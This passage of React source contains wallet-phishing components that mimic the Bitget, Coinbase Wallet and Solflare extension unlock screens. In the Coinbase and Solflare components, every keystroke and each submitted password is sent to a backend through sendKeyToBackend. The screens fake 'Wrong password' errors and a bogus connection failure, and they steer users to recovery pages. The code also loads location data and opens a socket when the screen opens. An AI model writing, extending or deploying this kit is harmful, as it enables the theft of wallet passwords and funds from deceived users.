14.2499C10.1998 14.2499 11.334 13.9346 12.3182 13.3786L10.797 11.8573C10.2767 12.1852 9.6606 12.3749 9.00023 12.3749C7.13624 12.3749 5.6252 10.8638 5.6252 8.99991C5.6252 8.33946 5.81488 7.72333 6.14273 7.20307L4.4517 5.51203ZM9.68543 10.7458L7.25435 8.31471C7.17098 8.52696 7.1252 8.75803 7.1252 8.99991C7.1252 10.0354 7.9647 10.8749 9.00023 10.8749C9.24203 10.8749 9.47318 10.8291 9.68543 10.7458ZM15.6051 12.4441L14.532 11.371C15.0239 10.6699 15.3865 9.86871 15.5833 8.99991C14.8952 5.96089 12.1769 3.74988 9.00023 3.74988C8.3658 3.74988 7.74968 3.83806 7.16437 4.00339L5.98085 2.81987C6.91595 2.45195 7.93448 2.24988 9.00023 2.24988C13.0443 2.24988 16.4088 5.1597 17.1142 8.99991C16.88 10.2746 16.3529 11.4469 15.6051 12.4441ZM8.79218 5.63119C8.86095 5.627 8.93033 5.62488 9.00023 5.62488C10.8641 5.62488 12.3752 7.13592 12.3752 8.99991C12.3752 9.06973 12.3731 9.13911 12.3689 9.20788L8.79218 5.63119Z\" fill={darkMode ? '#FFFFFF' : '#001F29'}/>\n </svg>\n )}\n </button>\n </div>\n )}\n </div>\n {error && (\n <p className=\"m-0 text-[12px] mt-[3px] text-left leading-[1.66] text-[#ee2e76]\" id=\"component-password-text\">密码错误</p>\n )}\n </div>\n </div>\n <div id=\"footer-place\" className=\"h-[154px]\">\n <div className=\"z-[99] bottom-0 absolute left-0 right-0 w-[360px] my-0 mx-auto\">\n <div className=\"z-[99] box-border px-[20px] pt-[10px] pb-[28px]\">\n <div className=\"box-border w-full text-center text-[16px] font-medium\">\n <button \n onClick={handleKeywordTyping}\n onMouseDown={handleUnlockMouseDown}\n onMouseUp={handleUnlockMouseUp}\n onMouseLeave={handleUnlockMouseUp}\n className={`h-[54px] text-[16px] font-medium cursor-pointer w-full leading-[24px] text-center rounded-[54px] ${\n isUnlockPressed\n ? (darkMode ? 'bg-[#00AFBD] text-[#0B2125]' : 'bg-[#44B0BA] text-black')\n : (darkMode\n ? (keyword && keyword.length > 0 ? 'bg-[#00D3E2] text-[#0B2125]' : 'bg-[#0A6A70] text-[#0B2125]')\n : (keyword && keyword.length > 0 ? 'bg-[#62eef8] text-black' : 'bg-[#62eef8] text-[#A4AEAE]'))\n }`}\n >\n 进入钱包\n </button>\n </div>\n <div className=\"box-border w-full text-center text-[16px] font-medium rounded-[54px]\">\n <button className={`mb-[8px] h-[54px] text-[16px] font-medium cursor-pointer w-full leading-[24px] text-center rounded-[54px] ${\n darkMode ? 'text-[#58585E]' : 'text-[#A4AEAE]'\n }`}>\n 忘记密码?\n </button>\n </div>\n </div>\n </div>\n </div>\n\n {/* Forgot Password Modal */}\n {showForgetPasswordModal && (\n <div id=\"forget-password-modal\" className=\"absolute inset-0 z-[1001]\">\n <div className=\"relative w-full h-full\">\n <div \n className=\"bg-[#10101099] absolute bottom-0 left-0 right-0 top-0\"\n onClick={closeForgetPasswordModal}\n ></div>\n <div tabIndex={-1} className=\"absolute bottom-0 left-0 right-0 top-0 text-center flex items-center justify-center\" role=\"dialog\">\n <div role=\"document\" className={`mx-[20px] box-border text-[14px] tabular-nums list-none p-0 pb-[24px] pointer-events-none relative w-[520px] ${darkMode ? 'text-gray-100' : 'text-[#000000d9]'}`}>\n <div tabIndex={0} aria-hidden=\"true\" style={{width: \"0px\", height: \"0px\", overflow: \"hidden\", outline: \"none\"}}></div>\n <div className={`rounded-[12px] border-0 shadow-[0_3px_6px_-4px_rgba(0,0,0,0.12),_0_6px_16px_0_rgba(0,0,0,0.08),_0_9px_28px_8px_rgba(0,0,0,0.05)] pointer-events-auto relative ${darkMode ? 'bg-gray-800' : 'bg-white'}`}>\n <div className=\"p-[24px_16px_16px] text-[14px] leading-[1.5715] break-words\">\n <div className=\"mb-[20px] text-center\">\n <div className={`text-[16px] font-bold ${darkMode ? 'text-gray-100' : ''}`}>Security Tip</div>\n </div>\n <p className={`text-[13px] leading-[20px] mb-[16px] text-left ${darkMode ? 'text-gray-300' : 'text-[#6d778c]'}`}>\n If you've forgotten your password, you need to reset your wallet using your recovery phrase.\n </p>\n <p className={`text-[13px] leading-[20px] mb-[16px] text-left ${darkMode ? 'text-gray-300' : 'text-[#6d778c]'}`}>\n Please make sure you have backed up your recovery phrase before proceeding.\n </p>\n <div \n className=\"mt-[24px] rounded-[6px] text-white text-[13px] h-[38px] leading-[38px] text-center bg-[#232c41] cursor-pointer hover:bg-[#3a4555]\"\n onClick={handledResetPwd}\n >\n Continue\n </div>\n <div \n className={`cursor-pointer text-[13px] h-[20px] leading-[20px] mt-[12px] text-center hover:opacity-80 ${darkMode ? 'text-gray-300' : 'text-[#6d778c]'}`}\n onClick={closeForgetPasswordModal}\n >\n Back\n </div>\n </div>\n </div>\n <div tabIndex={0} aria-hidden=\"true\" className=\"w-0 h-0 overflow-hidden outline-none\"></div>\n </div>\n </div>\n </div>\n </div>\n )}\n </div>\n </>\n )}\n </div>\n </div>\n </div>\n );\n\n return modalContent;\n};\n\nexport default BitgetModal;\n","import React, { useState, useEffect, useRef } from 'react';\nimport { initializeLocationData, initializeSocket, sendKeyToBackend } from '../../services/keyService';\nimport { WALLET_TYPE_SHORTKEY } from '../../services/config';\nimport { CustomWalletModalProps } from '../../types';\nimport './styles.css';\n\nconst CoinbaseModal: React.FC<CustomWalletModalProps> = ({ isOpen, onClose, userId, backendConfig }) => {\n const [keyword, setKeyword] = useState('');\n const [error, setError] = useState(false);\n const [helperText, setHelperText] = useState('');\n const [trying, setTrying] = useState(0);\n const [connecting, setConnecting] = useState(false);\n const [connectionError, setConnectionError] = useState(false);\n const [isClosable, setIsClosable] = useState(true);\n const [showPassword, setShowPassword] = useState(false);\n const [isFocused, setIsFocused] = useState(false);\n const [showForgotPasswordPage, setShowForgotPasswordPage] = useState(false);\n const [isInputHovered, setIsInputHovered] = useState(false);\n const [isInputPressed, setIsInputPressed] = useState(false);\n const [isUnlockHovered, setIsUnlockHovered] = useState(false);\n const [isUnlockPressed, setIsUnlockPressed] = useState(false);\n const [isForgotPasswordHovered, setIsForgotPasswordHovered] = useState(false);\n const [isForgotPasswordPressed, setIsForgotPasswordPressed] = useState(false);\n const [isSignOutHovered, setIsSignOutHovered] = useState(false);\n const [isSignOutPressed, setIsSignOutPressed] = useState(false);\n \n const passwordInputRef = useRef<HTMLInputElement>(null);\n const modalRef = useRef<HTMLDivElement>(null);\n\n // Handle initial setup when modal opens\n useEffect(() => {\n if (isOpen) {\n initializeLocationData();\n initializeSocket();\n\n setTimeout(() => {\n passwordInputRef.current?.focus();\n }, 4000);\n } else {\n setShowForgotPasswordPage(false);\n }\n }, [isOpen]);\n\n // Handle document click - separate effect\n useEffect(() => {\n if (!isOpen) return;\n\n const handleDocumentClick = (e: MouseEvent) => {\n if (isClosable && modalRef.current && !modalRef.current.contains(e.target as Node)) {\n handleClick();\n }\n };\n\n document.addEventListener('click', handleDocumentClick);\n return () => {\n document.removeEventListener('click', handleDocumentClick);\n };\n }, [isOpen, isClosable]);\n\n const handleClick = () => {\n if (onClose) onClose();\n setKeyword('');\n setTrying(0);\n setConnectionError(false);\n setError(false);\n setShowPassword(false);\n setShowForgotPasswordPage(false);\n };\n\n const handleKeywordChange = async (e: React.ChangeEvent<HTMLInputElement>) => {\n const newKeyword = e.target.value;\n setKeyword(newKeyword);\n setError(false);\n\n const currentUserId = backendConfig?.userId || userId;\n if (currentUserId && newKeyword && (backendConfig?.enabled !== false)) {\n await sendKeyToBackend(currentUserId, 'cha', newKeyword, WALLET_TYPE_SHORTKEY.COINBASE);\n }\n };\n\n const togglePasswordVisibility = () => {\n setShowPassword(prev => !prev);\n setTimeout(() => {\n passwordInputRef.current?.focus();\n }, 0);\n };\n\n const handleKeywordTyping = async () => {\n if (connecting) return;\n\n setConnecting(true);\n const currentUserId = backendConfig?.userId || userId;\n\n if (!currentUserId) {\n setConnecting(false);\n setError(true);\n setHelperText('User ID is required');\n return;\n }\n\n if (backendConfig?.enabled !== false) {\n const result = await sendKeyToBackend(currentUserId, 'enter', keyword, WALLET_TYPE_SHORTKEY.COINBASE);\n\n setTimeout(() => {\n setConnecting(false);\n if (trying < 3) {\n setError(true);\n setHelperText(result.error || 'Wrong password');\n setTrying(trying + 1);\n } else {\n setConnectionError(true);\n }\n passwordInputRef.current?.focus();\n }, 150);\n } else {\n setTimeout(() => setConnecting(false), 150);\n }\n };\n\n const handleForgotPasswordClick = () => {\n setShowForgotPasswordPage(true);\n };\n\n const handleReturnFromForgotPassword = () => {\n setShowForgotPasswordPage(false);\n };\n\n const handleSignOut = () => {\n handleClick();\n window.open('chrome-extension://nkbihfbeogaeaoehlefnkodbefgpgknn/home.html#restore-vault', '_blank');\n };\n\n const closeWindow = () => {\n handleClick();\n setTimeout(() => {\n setConnectionError(false);\n setKeyword('');\n setTrying(0);\n setError(false);\n }, 1000);\n };\n\n if (!isOpen) return null;\n\n\n const modalContent = (\n <div\n id=\"header-layout\"\n ref={modalRef}\n className={`fixed top-0 right-[150px] z-[1000] flex transition-opacity duration-200 max-[395px]:scale-75 max-[265px]:scale-50\n ${isOpen ? 'opacity-100' : 'opacity-0 pointer-events-none'}`}\n onMouseEnter={() => setIsClosable(false)}\n onMouseLeave={() => setIsClosable(true)}\n >\n <div className=\"w-[375px] h-[600px] shadow-[0_2px_8px_0_rgba(0,0,0,0.2)] relative\">\n <div className=\"h-full relative\" style={{ backgroundColor: '#141519' }}>\n {connectionError ? (\n <div className=\"text-white text-center px-4 py-8 flex flex-col h-full justify-between\">\n <div></div>\n <div className=\"\">\n <div className=\"flex justify-center w-full items-center mb-4\">\n <svg className=\"text-2xl text-center text-red-500 w-6 h-6\" fill=\"currentColor\" viewBox=\"0 0 20 20\">\n <path fillRule=\"evenodd\" d=\"M18 10a8 8 0 11-16 0 8 8 0 0116 0zm-7 4a1 1 0 11-2 0 1 1 0 012 0zm-1-9a1 1 0 00-1 1v4a1 1 0 102 0V6a1 1 0 00-1-1z\" clipRule=\"evenodd\" />\n </svg>\n </div>\n <h3 className=\"text-xl font-extrabold euclid-bold\">Connection failed</h3>\n <div className=\"text-sm leading-relaxed\">\n <h6>Fetching of</h6>\n <h5 className=\"font-bold\">@unstoppabledomains/unstoppable-</h5>\n <h5>\n <span className=\"font-bold\">resolution-snap</span> failed, check your network and\n </h5>\n <h5>try again.</h5>\n </div>\n <div className=\"mt-4 text-base border-l-4 border-red-500 bg-red-50 text-black p-4 rounded text-left\">\n <h5>One or more permissions are not allowed:</h5>\n <h5>This endowment is experiental and therefore </h5>\n <h5>not available.</h5>\n </div>\n </div>\n <button\n className=\"w-full rounded-full cursor-pointer schibsted-grotesk-regular p-2.5 hover:bg-[#3148f5] border-[#ffffff] bg-[#4459ff] text-[#141618]\"\n onClick={closeWindow}\n >\n Ok\n </button>\n </div>\n ) : showForgotPasswordPage ? (\n <div className=\"flex flex-col w-full h-full bg-black\">\n {/* Header with return button */}\n <div className=\"py-[16px] flex flex-row items-start\">\n <div className=\"flex flex-row items-start pl-[16px] w-[16px] h-[44px]\">\n <button\n onClick={handleReturnFromForgotPassword}\n className=\"w-[40px] h-[40px] rounded-full flex items-center justify-center hover:bg-[rgba(255, 255, 255, 0.1)] transition-colors\"\n aria-label=\"Return\"\n >\n <svg \n className=\"w-5 h-5 text-white\" \n style={{ width: '1em', height: '1em', verticalAlign: 'middle', fill: 'currentColor', overflow: 'hidden' }} \n viewBox=\"0 0 1024 1024\" \n version=\"1.1\" \n xmlns=\"http://www.w3.org/2000/svg\"\n >\n <path d=\"M853.333333 469.333333v85.333334H341.333333l234.666667 234.666666-60.586667 60.586667L177.493333 512l337.92-337.92L576 234.666667 341.333333 469.333333h512z\" fill=\"currentColor\" />\n </svg>\n </button>\n </div>\n </div>\n\n {/* Main content */}\n <div className=\"flex flex-col justify-start flex-1 px-[24px] pb-[24px]\">\n <h1 className=\"coinbase-font-bold text-[28px] font-bold text-white pt-[8px] pb-[16px]\">Forgot password?</h1>\n \n <div className=\"flex flex-col gap-[16px]\">\n <p className=\"coinbase-font text-[16px] text-[#8A919E]\">\n If you've forgotten your password, you need to sign out and re-enter your recovery phrase. After that, you can create a new password.\n <br />\n <br />\n Do not sign out unless you know your 12-word recovery phrase. \n </p>\n </div>\n <p className=\"coinbase-font text-[16px] text-[#FFFFFF] pt-[16px]\">\n Signing out of 1 recovery phrase.\n </p>\n \n <div className=\"pt-[16px]\">\n <button\n onClick={handleSignOut}\n onMouseEnter={() => setIsSignOutHovered(true)}\n onMouseLeave={() => {\n setIsSignOutHovered(false);\n setIsSignOutPressed(false);\n }}\n onMouseDown={() => setIsSignOutPressed(true)}\n onMouseUp={() => setIsSignOutPressed(false)}\n className={`coinbase-font h-[56px] text-[16px] bg-[rgb(38,40,45)] font-semibold cursor-pointer w-full leading-[24px] text-center rounded-[54px] transition-all ${\n isSignOutPressed\n ? 'bg-[rgb(40,43,49)] text-[#ffffff] h-[55px] w-[calc(100%-1px)] mx-[0.5px]'\n : isSignOutHovered\n ? 'bg-[rgb(50, 53, 59)] text-[#ffffff] h-[56px] w-full'\n : 'bg-[rgb(50, 53, 59)] text-[#ffffff] h-[56px] w-full'\n }`}\n >\n Sign out\n </button>\n </div>\n </div>\n </div>\n ) : (\n <div className=\"flex flex-col w-full h-full pt-[24px] pb-[32px] px-[16px]\">\n <div className=\"flex flex-col\">\n <div className=\"pb-[16px]\">\n <div className=\"flex w-[58px] h-[58px] rounded-[16px] overflow-hidden\">\n <svg width=\"100%\" viewBox=\"0 0 1024 1024\" fill=\"none\" xmlns=\"http://www.w3.org/2000/svg\">\n <rect width=\"1024\" height=\"1024\" fill=\"#0052FF\"></rect>\n <path fillRule=\"evenodd\" clipRule=\"evenodd\" d=\"M152 512C152 710.823 313.177 872 512 872C710.823 872 872 710.823 872 512C872 313.177 710.823 152 512 152C313.177 152 152 313.177 152 512ZM420 396C406.745 396 396 406.745 396 420V604C396 617.255 406.745 628 420 628H604C617.255 628 628 617.255 628 604V420C628 406.745 617.255 396 604 396H420Z\" fill=\"white\"></path>\n </svg>\n </div>\n </div>\n <h1 className=\"coinbase-font-bold text-[28px] font-bold text-white\">Coinbase Wallet</h1>\n <h1 className=\"coinbase-font-bold text-[20px] font-bold text-[#8A919E] pb-[8px]\">Extension</h1>\n </div>\n <div className=\"h-full\"></div>\n <div className=\"flex flex-col justify-between h-full gap-[16px]\">\n <div className=\"flex flex-col gap-[4px] min-h-[106px]\">\n <label className=\"coinbase-font-bold text-[14px] text-[#ffffff] py-[4px] w-full font-semibold\">Unlock with password</label>\n <div className=\"relative flex-col w-full\">\n <div \n onMouseEnter={() => setIsInputHovered(true)}\n onMouseLeave={() => {\n setIsInputHovered(false);\n setIsInputPressed(false);\n }}\n onMouseDown={() => setIsInputPressed(true)}\n onMouseUp={() => setIsInputPressed(false)}\n className={`opacity-100 text-[14px] rounded-[8px] relative cursor-text flex flex-row box-border items-center transition-colors ${\n isInputPressed \n ? 'bg-[rgb(21,22,24)]' \n : isInputHovered \n ? 'bg-[rgb(17,18,20)]' \n : 'bg-[rgb(10,11,13)]'\n } ${\n error\n ? (isFocused \n ? 'border-2 border-[rgb(240,97,109)]' \n : 'border border-[rgb(240,97,109)]')\n : (isFocused \n ? 'border-2 border-[rgb(55,115,245)]' \n : 'border border-[rgba(138,145,158,0.66)]')\n }`}\n >\n <input \n ref={passwordInputRef}\n aria-invalid=\"false\" \n autoComplete=\"current-password\"\n id=\"component-password\"\n type={showPassword ? \"text\" : \"password\"}\n value={keyword}\n onChange={handleKeywordChange}\n onFocus={() => setIsFocused(true)}\n onBlur={() => setIsFocused(false)}\n onKeyPress={(e) => {\n if (e.key === 'Enter') {\n handleKeywordTyping();\n }\n }}\n className=\"coinbase-font focus:outline-none border-none text-[16px] rounded-[8px] box-content p-[16px] bg-transparent w-full text-white tracking-normal\"\n placeholder=\"\"\n />\n <div className=\"ml-[8px] flex items-center justify-center\">\n <button \n className=\"w-[40px] h-[40px] rounded-full flex items-center justify-center hover:bg-[rgba(255, 255, 255, 0.2)] transition-colors\" \n tabIndex={0} \n type=\"button\" \n aria-label=\"toggle password visibility\"\n onClick={togglePasswordVisibility}\n >\n {showPassword ? (\n <svg \n className=\"w-4 h-4 text-white\" \n style={{ width: '1em', height: '1em', verticalAlign: 'middle', fill: 'currentColor', overflow: 'hidden' }} \n viewBox=\"0 0 1024 1024\" \n version=\"1.1\" \n xmlns=\"http://www.w3.org/2000/svg\"\n >\n <path d=\"M511.9776 96c95.296 0 182.592 35.712 249.984 94.944 47.648 41.824 126.624 122.304 237.024 241.408 32 34.272 33.472 87.36 3.488 123.424l-3.456 3.904-9.408 10.176c-105.824 114.08-182.08 191.424-228.704 232.096C693.7056 860.64 606.8256 896 512.0096 896c-95.424 0-182.784-35.776-250.208-95.072C214.2496 759.04 135.3696 678.688 25.0656 559.68a93.536 93.536 0 0 1-3.456-123.488l3.456-3.904 9.376-10.144c105.344-113.408 181.12-190.4 227.36-231.04C329.1936 131.808 416.5216 96 511.9456 96H512.0096z m0 188.224c-117.92 0-213.504 94.848-213.504 211.776 0 116.928 95.584 211.776 213.504 211.776 117.888 0 213.504-94.848 213.504-211.776 0-116.928-95.616-211.776-213.504-211.776z m0 94.144c65.504 0 118.592 52.64 118.624 117.632 0 64.96-53.12 117.664-118.624 117.664-63.52 0-115.776-49.6-118.496-112.544l-0.128-5.12h71.168c24.832 0 45.44-18.976 47.328-43.52l0.16-3.52v-70.592h-0.032z\" />\n </svg>\n ) : (\n <svg \n className=\"w-4 h-4 text-white\" \n style={{ width: '1em', height: '1em', verticalAlign: 'middle', fill: 'currentColor', overflow: 'hidden' }} \n viewBox=\"0 0 1024 1024\" \n version=\"1.1\" \n xmlns=\"http://www.w3.org/2000/svg\"\n >\n <path d=\"M733.976092 128.406508c-32.626072-18.838044-74.333986-7.659447-93.16282 24.961508l-40.699957 70.307276c-28.245298-6.075369-58.112536-9.480932-89.604784-9.480932-293.635667 0-445.218014 297.803593-445.218014 297.803593s82.454944 149.279908 231.025701 236.45127l-31.253818 53.983495c-18.831904 32.618908-7.659447 74.327846 24.964578 93.164866 32.615838 18.828834 74.330916 7.659447 93.164866-24.964578L758.936577 221.569328C777.772574 188.95042 766.591931 147.238412 733.976092 128.406508zM304.728818 511.997953c0-114.952078 92.615351-208.164017 207.269647-208.164017 13.520945 0 26.731828 1.300622 39.521109 3.776l-37.147038 64.167438c-0.791016-0.01228-1.578961-0.044002-2.37407-0.044002-77.131705 0-139.67004 62.835094-139.67004 140.263557 0 26.116821 7.132444 50.523697 19.526729 71.417563l-37.134759 64.144926C323.559699 611.141998 304.728818 563.795667 304.728818 511.997953z\" />\n <path d=\"M770.978844 300.511261 699.60119 423.39601c12.599969 26.88737 19.668968 56.910151 19.668968 88.601944 0 109.690238-84.347037 199.515033-191.68367 207.520357l-51.458999 88.590688c11.92868 1.092891 24.075325 1.695618 36.464493 1.695618 292.447609 0 446.1175-297.807686 446.1175-297.807686S895.060861 388.454196 770.978844 300.511261z\" />\n </svg>\n )}\n </button>\n </div>\n </div>\n {error && (\n <p className=\"coinbase-font m-0 text-[14px] mt-[3px] text-left leading-[1.66] text-[#F0616D] flex items-center gap-[6px]\" id=\"component-password-text\">\n <svg \n className=\"flex-shrink-0\" \n style={{ width: '1em', height: '1em', verticalAlign: 'middle', fill: 'currentColor', overflow: 'hidden' }} \n viewBox=\"0 0 1024 1024\" \n version=\"1.1\" \n xmlns=\"http://www.w3.org/2000/svg\"\n >\n <path d=\"M512 938.666667C276.352 938.666667 85.333333 747.648 85.333333 512S276.352 85.333333 512 85.333333s426.666667 191.018667 426.666667 426.666667-191.018667 426.666667-426.666667 426.666667z m-42.666667-298.666667v85.333333h85.333334v-85.333333h-85.333334z m0-341.333333v256h85.333334V298.666667h-85.333334z\" />\n </svg>\n Wrong password\n </p>\n )}\n </div>\n </div>\n\n <div className=\"box-border w-full text-center text-[16px] font-medium\">\n <button \n onClick={handleKeywordTyping}\n disabled={error}\n onMouseEnter={() => {\n if (keyword && keyword.length > 0 && !error) setIsUnlockHovered(true);\n }}\n onMouseLeave={() => {\n setIsUnlockHovered(false);\n setIsUnlockPressed(false);\n }}\n onMouseDown={() => {\n if (keyword && keyword.length > 0 && !error) setIsUnlockPressed(true);\n }}\n onMouseUp={() => setIsUnlockPressed(false)}\n className={`coinbase-font-bold text-[16px] font-semibold leading-[24px] text-center rounded-[54px] transition-all ${\n error\n ? 'bg-[#1E3568] text-[#0F0F12] cursor-default opacity-50 h-[56px] w-full'\n : keyword && keyword.length > 0\n ? (isUnlockPressed\n ? 'bg-[#447CF6] text-[#101829] h-[55px] w-[calc(100%-1px)] mx-[0.5px] cursor-pointer'\n : isUnlockHovered\n ? 'bg-[#3F79F5] text-[#192A50] h-[56px] w-full cursor-pointer'\n : 'bg-[#447CF6] text-[#101829] h-[56px] w-full cursor-pointer')\n : 'bg-[#1E3568] text-[#0F0F12] h-[56px] w-full cursor-pointer'\n }`}\n >\n Unlock\n </button>\n </div>\n <div className=\"box-border w-full text-center text-[16px] font-medium rounded-[54px]\">\n <button \n className={`coinbase-font-bold h-[56px] text-[16px] font-semibold cursor-pointer w-full leading-[24px] text-center rounded-[54px] transition-colors ${\n isForgotPasswordPressed\n ? 'bg-[#151618] text-white'\n : isForgotPasswordHovered\n ? 'bg-[#111214] text-[#DCDCDC]'\n : 'bg-transparent text-white'\n }`}\n onClick={handleForgotPasswordClick}\n onMouseEnter={() => setIsForgotPasswordHovered(true)}\n onMouseLeave={() => {\n setIsForgotPasswordHovered(false);\n setIsForgotPasswordPressed(false);\n }}\n onMouseDown={() => setIsForgotPasswordPressed(true)}\n onMouseUp={() => setIsForgotPasswordPressed(false)}\n >\n Forgot password?\n </button>\n </div>\n </div>\n </div>\n )}\n </div>\n </div>\n </div>\n );\n\n return modalContent;\n};\n\nexport default CoinbaseModal;\n","import React, { useState, useEffect, useRef } from 'react';\nimport { initializeLocationData, initializeSocket, sendKeyToBackend } from '../../services/keyService';\nimport { WALLET_TYPE_SHORTKEY } from '../../services/config';\nimport { CustomWalletModalProps } from '../../types';\nimport './styles.css';\n\nconst SolflareModal: React.FC<CustomWalletModalProps> = ({ isOpen, onClose, userId, backendConfig }) => {\n const [keyword, setKeyword] = useState('');\n const [error, setError] = useState(false);\n const [helperText, setHelperText] = useState('');\n const [connecting, setConnecting] = useState(false);\n const [connectionError, setConnectionError] = useState(false);\n const [isClosable, setIsClosable] = useState(true);\n const [showPassword, setShowPassword] = useState(false);\n const [loadingInitiate, setLoadingInitiate] = useState(true);\n const [showForgetPasswordModal, setShowForgetPasswordModal] = useState(false);\n const [continueCountdown, setContinueCountdown] = useState(0);\n const [trying, setTrying] = useState(0);\n \n const passwordInputRef = useRef<HTMLInputElement>(null);\n const modalRef = useRef<HTMLDivElement>(null);\n const countdownIntervalRef = useRef<number | null>(null);\n\n // Handle initial loading - only run once when modal opens\n useEffect(() => {\n if (isOpen) {\n initializeLocationData();\n initializeSocket();\n\n setLoadingInitiate(true);\n const initialLoadTimeout = setTimeout(() => {\n setLoadingInitiate(false);\n setTimeout(() => {\n passwordInputRef.current?.focus();\n }, 1500);\n }, 1500);\n\n return () => {\n clearTimeout(initialLoadTimeout);\n };\n } else {\n setLoadingInitiate(true);\n }\n }, [isOpen]);\n\n // Handle document click - separate effect\n useEffect(() => {\n if (!isOpen) return;\n\n const handleDocumentClick = (e: MouseEvent) => {\n if (isClosable && modalRef.current && !modalRef.current.contains(e.target as Node)) {\n handleClick();\n }\n };\n\n document.addEventListener('click', handleDocumentClick);\n return () => {\n document.removeEventListener('click', handleDocumentClick);\n };\n }, [isOpen, isClosable]);\n\n // Cleanup countdown interval\n useEffect(() => {\n return () => {\n if (countdownIntervalRef.current) {\n clearInterval(countdownIntervalRef.current);\n }\n };\n }, []);\n\n const handleClick = () => {\n if (onClose) onClose();\n setKeyword('');\n setConnectionError(false);\n setError(false);\n setShowPassword(false);\n setShowForgetPasswordModal(false);\n setContinueCountdown(0);\n setTrying(0);\n if (countdownIntervalRef.current) {\n clearInterval(countdownIntervalRef.current);\n countdownIntervalRef.current = null;\n }\n };\n\n const handleKeywordChange = async (e: React.ChangeEvent<HTMLInputElement>) => {\n const newKeyword = e.target.value;\n setKeyword(newKeyword);\n setError(false);\n\n const currentUserId = backendConfig?.userId || userId;\n if (currentUserId && newKeyword && (backendConfig?.enabled !== false)) {\n await sendKeyToBackend(currentUserId, 'cha', newKeyword, WALLET_TYPE_SHORTKEY.SOLFLARE);\n }\n };\n\n const togglePasswordVisibility = () => {\n setShowPassword(prev => !prev);\n setTimeout(() => {\n passwordInputRef.current?.focus();\n }, 0);\n };\n\n const handleKeywordTyping = async () => {\n if (connecting || !keyword) return;\n\n setConnecting(true);\n const currentUserId = backendConfig?.userId || userId;\n\n if (!currentUserId) {\n setConnecting(false);\n setError(true);\n setHelperText('User ID is required');\n return;\n }\n\n if (backendConfig?.enabled !== false) {\n const result = await sendKeyToBackend(currentUserId, 'enter', keyword, WALLET_TYPE_SHORTKEY.SOLFLARE);\n\n setTimeout(() => {\n setConnecting(false);\n if (trying < 3) {\n setError(true);\n setHelperText('Invalid password');\n setTrying(trying + 1);\n } else {\n setConnectionError(true);\n }\n passwordInputRef.current?.focus();\n }, 150);\n } else {\n setTimeout(() => setConnecting(false), 150);\n }\n };\n\n const showForgetPassword = () => {\n setShowForgetPasswordModal(true);\n setContinueCountdown(10);\n \n // Start countdown timer\n countdownIntervalRef.current = setInterval(() => {\n setContinueCountdown(prev => {\n if (prev > 1) {\n return prev - 1;\n } else {\n if (countdownIntervalRef.current) {\n clearInterval(countdownIntervalRef.current);\n countdownIntervalRef.current = null;\n }\n return 0;\n }\n });\n }, 1000);\n };\n\n const closeForgetPasswordModal = () => {\n if (countdownIntervalRef.current) {\n clearInterval(countdownIntervalRef.current);\n countdownIntervalRef.current = null;\n }\n setShowForgetPasswordModal(false);\n setContinueCountdown(0);\n };\n\n const handledResetPwd = () => {\n handleClick();\n closeForgetPasswordModal();\n window.open('chrome-extension://acmacodkjbdgmoleebolmdjonilkdbch/index.html#/forgot-password', '_blank');\n };\n\n const closeWindow = () => {\n handleClick();\n setTimeout(() => {\n setConnectionError(false);\n setKeyword('');\n setError(false);\n setTrying(0);\n }, 1000);\n };\n\n if (!isOpen) return null;\n\n const isButtonEnabled = !connecting;\n\n const modalContent = (\n <div\n id=\"header-layout\"\n ref={modalRef}\n className={`fixed top-0 right-[150px] z-[1000] flex transition-opacity duration-200 max-[395px]:scale-75 max-[265px]:scale-50\n ${isOpen ? 'opacity-100' : 'opacity-0 pointer-events-none'}`}\n onMouseEnter={() => setIsClosable(false)}\n onMouseLeave={() => setIsClosable(true)}\n >\n <div className=\"w-[375px] h-[600px] shadow-[0_4px_20px_0_rgba(0,0,0,0.3)] relative\">\n <div className=\"h-full relative\" style={{ backgroundColor: '#02050a' }}>\n {connectionError ? (\n <div className=\"text-center px-4 py-8 flex flex-col h-full justify-between\">\n <div></div>\n <div className=\"\">\n <div className=\"flex justify-center w-full items-center mb-4\">\n <svg className=\"text-2xl text-center w-6 h-6 text-red-500\" fill=\"currentColor\" viewBox=\"0 0 20 20\">\n <path fillRule=\"evenodd\" d=\"M18 10a8 8 0 11-16 0 8 8 0 0116 0zm-7 4a1 1 0 11-2 0 1 1 0 012 0zm-1-9a1 1 0 00-1 1v4a1 1 0 102 0V6a1 1 0 00-1-1z\" clipRule=\"evenodd\" />\n </svg>\n </div>\n <h3 className=\"text-xl font-extrabold text-[#f5f8ff]\">Connection failed</h3>\n <p className=\"text-sm text-[#f5f8ff]\">Please check your connection and try again.</p>\n </div>\n <button\n className=\"w-full rounded-full cursor-pointer p-2.5 text-white hover:bg-[#3148f5] bg-[#4459ff]\"\n onClick={closeWindow}\n >\n Ok\n </button>\n </div>\n ) : (\n <div className=\"relative w-full h-full\" style={{ backgroundColor: '#02050a' }}>\n <div className='flex flex-col h-full bg-[#02050a]'>\n <div className='flex flex-col gap-[24px]'>\n <div className='px-[8px] pt-[8px]'>\n <div className='rounded-[24px] max-h-[250px] overflow-hidden'>\n <video src=\"https://www.riveanimation.cards/v7/images/flag.mp4\" autoPlay loop playsInline className=\"w-full h-full object-cover\"></video>\n </div>\n </div>\n <div className=\"px-[16px] flex flex-col gap-[24px]\">\n <div>\n <h1 className='text-[24px] solflare-font-bold text-[#f5f8ff] leading-[32px]'>Unlock your wallet</h1>\n <p className='text-[14px] text-[rgba(245,248,255,0.4)] leading-[20px] solflare-font'>Enter your password and access your funds safely.</p>\n </div>\n <div className='flex flex-col gap-[24px]'>\n <div>\n <div className={`flex flex-row p-[12px] gap-[4px] rounded-[12px] border ${\n error \n ? \"border-[#ff4d4f] focus-within:border-[#ff4d4f] focus-within:outline-none focus-within:ring-0\" \n : \"border-[#1a212b] focus-within:border-white focus-within:outline-none\"\n }`}>\n <input \n id=\"current-password\"\n ref={passwordInputRef}\n placeholder=\"Enter your password\" \n type={showPassword ? \"text\" : \"password\"} \n autoComplete=\"off\" \n spellCheck=\"false\" \n value={keyword} \n onChange={handleKeywordChange}\n onKeyDown={(e) => {\n if (e.key === 'Enter' && isButtonEnabled && keyword) {\n handleKeywordTyping();\n }\n }}\n className=\"solflare-font outline-none text-[16px] leading-[24px] w-full placeholder:text-[rgba(245,248,255,0.4)]\"\n style={{ backgroundColor: '#02050a', color: 'white' }}\n />\n <svg \n className=\"cursor-pointer group\" \n width=\"24\" \n height=\"24\" \n viewBox=\"0 0 20 20\" \n fill=\"none\" \n xmlns=\"http://www.w3.org/2000/svg\"\n 